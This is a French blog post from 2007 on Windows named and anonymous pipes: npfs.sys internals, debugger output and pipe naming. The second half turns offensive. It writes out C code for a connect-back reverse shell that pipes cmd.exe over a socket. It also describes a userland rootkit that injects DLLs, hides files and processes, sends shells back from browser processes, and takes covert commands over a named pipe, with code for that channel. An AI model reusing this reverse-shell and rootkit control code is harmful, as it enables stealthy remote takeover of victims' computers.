Playing with Pipes
Il existe encore dans la scène-fr des gars qui continuent de sortir des zines, le dernier en date est le cPc (Chemical Phreakers Crew), zine orienté phreaking/drugs, ermm comme dirait certains. Je dirais juste que voir des scan de VMB ne me fait plus autant d’effet qu’avant, c’est peut être parce que leurs auteurs sont des ganja-men de 16 ans faisant des soirée CosPlay-VisualKei-SM avec Bancal et pas foutu de sortir quelque chose de bien formater que ca me faire rire :] Au moins Rafale fait quelque chose de correct et d’intéressant. Bon finit de troller, aujourd’hui on va jouer avec une feature de win utilisé peut souvent utiliser par les codeurs mais qui peut s’avérer vraiment pratique, les pipes (heu prononcez à l’anglaise !)
Les pipes sont des objets servant à la communication interprocessus de manière bidirectionnelle, ils se comportent comme des fichiers, c’est à dire qu’on peut écrire et lire dedans avec des API comme ReadFile et WriteFile. Il existe 2 types de pipes, les anonymous-pipe qui servent en générale à rediriger les handles d’entrées/sorties d’un process fils vers ceux voulu par le process père. On les crée avec la fonction CreatePipe. De l’autre coté, on retrouve les named-pipes qui sont des objets de communication globaux pouvant être accédé par n’importe quel processus (évidemment il y a des ACL dessus), ils servent nottament pour les RPC (Remote Procedure Call).
Quelques mots sur l’implémentation des pipes. Ceux-ci se fonctionnent grâce à aux driver npfs.sys qui est implémenté de la même façon qu’un driver de filesystem. Voici les MajorFunctions gérés par le driver \filesystem\npfs.
kd> !drvobj \filesystem\npfs 3 Driver object (80d6d208) is for: \FileSystem\Npfs Driver Extension List: (id , addr) Device Object list: 80e20208 DriverEntry: faa606d3 Npfs!GsDriverEntry DriverStartIo: 00000000 DriverUnload: faa5e41e Npfs!NpfsUnload AddDevice: 00000000 Dispatch routines: [00] IRP_MJ_CREATE faa5b6e8 Npfs!NpFsdCreate [01] IRP_MJ_CREATE_NAMED_PIPE faa5bc50 Npfs!NpFsdCreateNamedPipe [02] IRP_MJ_CLOSE faa5b182 Npfs!NpFsdClose [03] IRP_MJ_READ faa5e778 Npfs!NpFsdRead [04] IRP_MJ_WRITE faa5fd96 Npfs!NpFsdWrite [05] IRP_MJ_QUERY_INFORMATION faa5cc54 Npfs!NpFsdQueryInformation [06] IRP_MJ_SET_INFORMATION faa5ccb8 Npfs!NpFsdSetInformation [07] IRP_MJ_QUERY_EA 804f3520 nt!IopInvalidDeviceRequest [08] IRP_MJ_SET_EA 804f3520 nt!IopInvalidDeviceRequest [09] IRP_MJ_FLUSH_BUFFERS faa5ceb4 Npfs!NpFsdFlushBuffers [0a] IRP_MJ_QUERY_VOLUME_INFORMATION faa5fb1e Npfs!NpFsdQueryVolumeInformation [0b] IRP_MJ_SET_VOLUME_INFORMATION 804f3520 nt!IopInvalidDeviceRequest [0c] IRP_MJ_DIRECTORY_CONTROL faa5c5b4 Npfs!NpFsdDirectoryControl [0d] IRP_MJ_FILE_SYSTEM_CONTROL faa5e3c8 Npfs!NpFsdFileSystemControl [0e] IRP_MJ_DEVICE_CONTROL 804f3520 nt!IopInvalidDeviceRequest [0f] IRP_MJ_INTERNAL_DEVICE_CONTROL 804f3520 nt!IopInvalidDeviceRequest [10] IRP_MJ_SHUTDOWN 804f3520 nt!IopInvalidDeviceRequest [11] IRP_MJ_LOCK_CONTROL 804f3520 nt!IopInvalidDeviceRequest [12] IRP_MJ_CLEANUP faa5b08e Npfs!NpFsdCleanup [13] IRP_MJ_CREATE_MAILSLOT 804f3520 nt!IopInvalidDeviceRequest [14] IRP_MJ_QUERY_SECURITY faa5eda0 Npfs!NpFsdQuerySecurityInfo [15] IRP_MJ_SET_SECURITY faa5ee04 Npfs!NpFsdSetSecurityInfo [16] IRP_MJ_POWER 804f3520 nt!IopInvalidDeviceRequest [17] IRP_MJ_SYSTEM_CONTROL 804f3520 nt!IopInvalidDeviceRequest [18] IRP_MJ_DEVICE_CHANGE 804f3520 nt!IopInvalidDeviceRequest [19] IRP_MJ_QUERY_QUOTA 804f3520 nt!IopInvalidDeviceRequest [1a] IRP_MJ_SET_QUOTA 804f3520 nt!IopInvalidDeviceRequest [1b] IRP_MJ_PNP 804f3520 nt!IopInvalidDeviceRequest Fast I/O routines: FastIoRead faa5e820 Npfs!NpFastRead FastIoWrite faa5fe40 Npfs!NpFastWrite
La fonction importante est NpFsdCreateNamedPipe qui est appelé lorsque le driver reçoit un IRP de type IRP_MJ_CREATE_NAMED_PIPE, c’est IRP est forgé par la fonction native NtCreateNamedPipeFile dont le prototype est :
NTSTATUS NtCreateNamedPipeFile ( __out PHANDLE FileHandle, __in ULONG DesiredAccess, __in POBJECT_ATTRIBUTES ObjectAttributes, __out PIO_STATUS_BLOCK IoStatusBlock, __in ULONG ShareAccess, __in ULONG CreateDisposition, __in ULONG CreateOptions, __in ULONG NamedPipeType, __in ULONG ReadMode, __in ULONG CompletionMode, __in ULONG MaximumInstances, __in ULONG InboundQuota, __in ULONG OutboundQuota, __in_opt PLARGE_INTEGER DefaultTimeout ) /*++ Routine Description: Creates and opens the server end handle of the first instance of a specific named pipe or another instance of an existing named pipe. Arguments: FileHandle - Supplies a handle to the file on which the service is being performed. DesiredAccess - Supplies the types of access that the caller would like to the file. ObjectAttributes - Supplies the attributes to be used for file object (name, SECURITY_DESCRIPTOR, etc.) IoStatusBlock - Address of the caller's I/O status block. ShareAccess - Supplies the types of share access that the caller would like to the file. CreateDisposition - Supplies the method for handling the create/open. CreateOptions - Caller options for how to perform the create/open. NamedPipeType - Type of named pipe to create (Bitstream or message). ReadMode - Mode in which to read the pipe (Bitstream or message). CompletionMode - Specifies how the operation is to be completed. MaximumInstances - Maximum number of simultaneous instances of the named pipe. InboundQuota - Specifies the pool quota that is reserved for writes to the inbound side of the named pipe. OutboundQuota - Specifies the pool quota that is reserved for writes to the inbound side of the named pipe. DefaultTimeout - Optional pointer to a timeout value that is used if a timeout value is not specified when waiting for an instance of a named pipe. Return Value: The function value is the final status of the create/open operation. --*/
En fait, il est possible d’énumérer sans problème les pipes existant, il suffit d’ouvrir un handle avec CreateFile sur le dossier \\.\Pipe\ puis d’énumérer son contenu avec une API comme NtQueryDirectoryFile avec le FileInformationClass sur FileDirectoryInformation. C’est ce que fait le tool « pipelist » de sysinternals.
Alors j’ai dit qu’il existait des anonymous-pipes, or l’api NtCreateNamedPipeFile demande un paramètre ObjectAttributes avec un nom pour de pipe, WTF. Si on disass la fonction CreatePipe de kernel32 on peut voir :
kernel32!CreatePipe+0x4a: 7c81e111 64a118000000 mov eax,dword ptr fs:[00000018h] ; eax=TEB 7c81e117 681849887c push offset kernel32!PipeSerialNumber (7c884918) 7c81e11c 8bf8 mov edi,eax 7c81e11e e843b6feff call kernel32!InterlockedIncrement (7c809766) 7c81e123 50 push eax ; PipeSerialNumber+1 7c81e124 ff7720 push dword ptr [edi+20h] ; PID 7c81e127 8d85f8feffff lea eax,[ebp-108h] 7c81e12d 6858e2817c push offset kernel32!`string' (7c81e258) ; ! 7c81e132 50 push eax 7c81e133 ff15d013807c call dword ptr [kernel32!_imp__sprintf (7c8013d0)] 0:000> db 7c81e258 7c81e258 5c 44 65 76 69 63 65 5c-4e 61 6d 65 64 50 69 70 \Device\NamedPip 7c81e268 65 5c 57 69 6e 33 32 50-69 70 65 73 2e 25 30 38 e\Win32Pipes.%08 7c81e278 78 2e 25 30 38 78 00 56-e8 0c 00 00 00 8b d8 e9 x.%08x.
Alors comme on peut le voir un anonymous device sera nommé de la manière suivante \Device\NamedPipe\Win32Pipes.%08x.%08x, le premier %08x provient du « push dword ptr [edi+20h] » avec edi pointant sur le TEB, dans le TEB en 0×20 on trouve le PID du process. Le second %08x est un compteur PipeSerialNumber qui est incrémenté à chaque appel sur CreatePipe. On se retrouve donc au moment du sprintf avec par exemple la stack :
0012EC10 0012EC6C |s = 0012EC6C 0012EC14 7C81E258 |format = "\Device\NamedPipe\Win32Pipes.%08x.%08x" 0012EC18 00000778 |<%08x> = 778 <- PID 0012EC1C 00000001 \<%08x> = 1 <- PipeSerialNumber
Sinon pour jouer un peu, il est possible de voir la création des pipes sur votre OS. Pour cela, demandez à votre KD de mettre un BP sur votre VM au boot en faisant : Debug->Kernel Connection->Cycle Initial Break puis entrez la commande suivante : bp nt!NtCreateNamedPipeFile "!process -1 0; !thread; dS poi(poi(esp+C)+8);g" Vous allez pouvoir suivre quels process et thread créent des pipes sur le l'OS. C'est pratique quand on veut savoir la provenance de l'un d'entre eux :]
Enfin, une fonction comme ConnectNamedPipe qui attend qu'un client se connecte au pipe, communique au driver npfs à travers des IOCTL envoyé par la fonction NtFsControlFile et gérer par la MajorFunction NpFsdFileSystemControl. Voici la liste des IOCTL que peut recevoir le driver npfs extrait de ntifs.h du WDK :
// // External named pipe file control operations // #define FSCTL_PIPE_ASSIGN_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 0, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_DISCONNECT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 1, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_LISTEN CTL_CODE(FILE_DEVICE_NAMED_PIPE, 2, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_PEEK CTL_CODE(FILE_DEVICE_NAMED_PIPE, 3, METHOD_BUFFERED, FILE_READ_DATA) #define FSCTL_PIPE_QUERY_EVENT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 4, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_TRANSCEIVE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 5, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA) #define FSCTL_PIPE_WAIT CTL_CODE(FILE_DEVICE_NAMED_PIPE, 6, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_IMPERSONATE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 7, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_SET_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 8, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_QUERY_CLIENT_PROCESS CTL_CODE(FILE_DEVICE_NAMED_PIPE, 9, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_GET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 10, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_SET_PIPE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 11, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_GET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 12, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_SET_CONNECTION_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 13, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_GET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 14, METHOD_BUFFERED, FILE_ANY_ACCESS) #define FSCTL_PIPE_SET_HANDLE_ATTRIBUTE CTL_CODE(FILE_DEVICE_NAMED_PIPE, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)
Maintenant, finit de décrire et passons un peu à l'action. On commence avec un premier exemple de l'utilisation des anonymous-pipes, un simple shell en connect-back. On va crée un cmd.exe et rediriger ses I/O vers le socket, d'habitude on bind direct le socket sur l'I/O du process cmd.exe, ca marche, mais ce n'est pas vraiment propre, disons que pour une shellcode c'est bien. Cette fois-ci on va respecter la msdn en utilisant des pipes. Pensons un peu (whinelol?), il existe 3 types d'I/O provenant d'un process, StdIn, StdOut et StdErr. Sachant que lorsque qu'on appel CreatePipe, celle-ci nous renvoie 2 handles :
BOOL CreatePipe( PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize );
Un handle pour lire le contenu du pipe (hReadPipe) puis un autre pour écrire dedans (hWritePipe). On va alors besoin de 2 pipes pour notre process, un pipe qui recevra les sorties StdOut et StdErr (hChildStdoutWr) qu'on lira par la suite avec ReadFile de l'autre coté (ChildStdoutRd). Un autre qui servira à envoyer des commandes au shell (hChildStdinRd), on écrira dedans avec WriteFile (hChildStdinWr). Il faut aussi considérer le fait que les pipes sont représenté sous forme d'handle sur des fichiers, ce qui signifie que les handles des pipes crée dans le process parent ne sont pas valide dans le contexte du process fils (les handles sont unique à chaque process). Pour faire simple on va utiliser la notion d'héritage des handles, le process fils va hériter de 2 handles, celui qui va récupérer la sortie et celui qui enverra nos commandes. On va aussi empêcher les handles hChildStdoutRd et hChildStdinWr d'être hérité par le process fils en utilisant SetHandleInformation, le process fils n'en ayant pas besoin. Hop voici le code :
// Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength=sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle=TRUE; saAttr.lpSecurityDescriptor=NULL; // Create a pipe for the child process's STDOUT. if(!CreatePipe(&hChildStdoutRd, &hChildStdoutWr, &saAttr, 0)) printf("Error while creating Stdout pipe : %d\n", GetLastError()); // Ensure the read handle to the pipe for STDOUT is not inherited. SetHandleInformation(hChildStdoutRd, HANDLE_FLAG_INHERIT, 0); // Create a pipe for the child process's STDIN. if(!CreatePipe(&hChildStdinRd, &hChildStdinWr, &saAttr, 0)) printf("Error while creating Stdin pipe : %d\n", GetLastError()); // Ensure the write handle to the pipe for STDIN is not inherited. SetHandleInformation(hChildStdinWr, HANDLE_FLAG_INHERIT, 0); // Now create the child process. fSuccess=CreateChildProcess(); if(!fSuccess) printf("Error with CreateChildProcess : %d\n", GetLastError());
Pour crée le process fils il suffit de remplir la structure STARTUP_INFORMATION de cette manière :
// Set up members of the STARTUPINFO structure. ZeroMemory(&siStartInfo, sizeof(STARTUPINFO)); siStartInfo.cb=sizeof(STARTUPINFO); siStartInfo.hStdError=hChildStdoutWr; siStartInfo.hStdOutput=hChildStdoutWr; siStartInfo.hStdInput=hChildStdinRd; siStartInfo.dwFlags|=STARTF_USESTDHANDLES;
Après c'est simple pour relayer les commandes il suffit de faire :
while(1) { //lecture de la sortie du process memset(msg, 0, sizeof(msg)); //sans le sleep, le process child n'a pas le tps de tout écrire dans hChildStdoutWr //autre solution ??? need help ... Sleep(300); if(!ReadFile(hChildStdoutRd, msg, sizeof(msg), &n, NULL) || n==0) { break; } send(sock, msg, n, 0); if(n==0) break; //reception des commandes memset(msg, 0, sizeof(msg)); n=recv(sock, msg, sizeof(msg), 0); if(n==0 || strcmp(msg, "exit\n")==0) break; if(!WriteFile(hChildStdinWr, msg, n, &n, NULL)) { break; } }
ref:
Voila un exemple d'utilisation pratique des anonymous-pipes. Maintenant allons un peu plus loin.
Imaginez un rootkit uniquement userland installé sur une machine. Il utilise l'API SetWindowsHookEx pour injecter des dll dans tout les process possédant une GUI qui va cacher les fichiers/clés dans le registre/connexions/processus/dlls. La dll va vérifier dans quelle process elle se fait charger, dans le cas ou elle se trouve dans un process réseau comme un browser, un msnmsgr.exe, voir même un steam.exe, elle renvoie un shell de connect back sur une liste d'ip, s'arrêtant dès qu'une connexion est établie. Evidement, une bonne partie des firewalls arrivent à voir se genre de tentative, l'injection de la dll+la création du cmd.exe n'étant pas très furtif mais passons outre cela et mettons nous à la place de l'attaquant.
L'attaquant de son coté recoit un shell, ok cool lol, il peut faire quasiment tout ce qu'il veut sur l'OS de la victime. Maintenant, imaginons qu'il est besoin de communiquer avec son rootkit, hummm. Vous allez me dire, izi, on fait comme les barbus, on crée un socket local qui servira à recevra les commandes. Sous Win, il y un mieux, les named-pipes. Cette fois ci notre rk va crée un pipe accessible à tous les process avec l'API CreateNamedPipe. J'ai juste reprit et modifié l'exemple de la msdn du "Multithreaded Pipe Server". Comme vous pouvez le voir le code est simple il suffit de créé le Pipe et de crée un thread pour traité la requête :
LPSTR lpszPipename="\\\\\\.\\\\pipe\\\\tapz"; // The main loop creates an instance of the named pipe and // then waits for a client to connect to it. When the client // connects, a thread is created to handle communications // with that client, and the loop is repeated. for(;;) { hPipe=CreateNamedPipe( lpszPipename, // pipe name PIPE_ACCESS_DUPLEX, // read/write access PIPE_TYPE_MESSAGE | // message type pipe PIPE_READMODE_MESSAGE | // message-read mode PIPE_WAIT, // blocking mode PIPE_UNLIMITED_INSTANCES, // max. instances BUFSIZE, // output buffer size BUFSIZE, // input buffer size NMPWAIT_USE_DEFAULT_WAIT, // client time-out NULL); // default security attribute if(hPipe==INVALID_HANDLE_VALUE) { printf("CreatePipe failed"); return 0; } // Wait for the client to connect; if it succeeds, // the function returns a nonzero value. If the function // returns zero, GetLastError returns ERROR_PIPE_CONNECTED. fConnected=ConnectNamedPipe(hPipe, NULL) ? TRUE:(GetLastError()==ERROR_PIPE_CONNECTED); if(fConnected) { // Create a thread for this client. hThread=CreateThread( NULL, // no security attribute 0, // default stack size (LPTHREAD_START_ROUTINE)InstanceThread, (LPVOID) hPipe, // thread parameter 0, // not suspended &dwThreadId); // returns thread ID if(hThread==NULL) { printf("CreateThread failed"); return 0; } else CloseHandle(hThread); } else // The client could not connect, so close the pipe. CloseHandle(hPipe); }
Maintenant, l'attaquant a toujours son shell CB sur la b0x et peut envoyer des commandes au rk simplement en faisant :
C:\ProgHack\c\pipes>echo rofl >> \\.\pipe\tapz
Et la c'est la grande classe, le rk n'a plus qu'a traité le message et faire le boulot. C'est encore plus simple et plus discret que d'ouvrir une socket en écoute local. Avec cette méthode on commander notre rk en direct et surtout sans avoir besoin d'autres tools, juste le shell de win suffit.
Bon je m'arrête la concernant l'utilisation des pipes, il doit avoir plein d'autres choses sympa à faire. Moi j'ai trouvé un moyen simple et efficace de communiquer avec mon rk. Avant je trickais avec des fichiers .ini et des clés dans le registres, pas super pratique n'y très joli.
Il doit certainement rester plein de choses à faire avec les pipes, dans le cas présent je ne communique dans un sens, je n'ai pas de réponse du rk. Il doit exister des methodes afin d'avoir une sortie dans le shell simplement, a voir ...
Voici les codes que j'ai utilisé :
http://ivanlef0u.fr/repo/pipes.rar
ref :
http://en.wikipedia.org/wiki/Named_pipe
http://msdn2.microsoft.com/en-us/library/aa365137.aspx
Windows Internals
Chapter 13. Networking -> Networking APIs -> Named Pipes and Mailslots
et Named Pipe and Mailslot Implementation
1 comment octobre 28th, 2007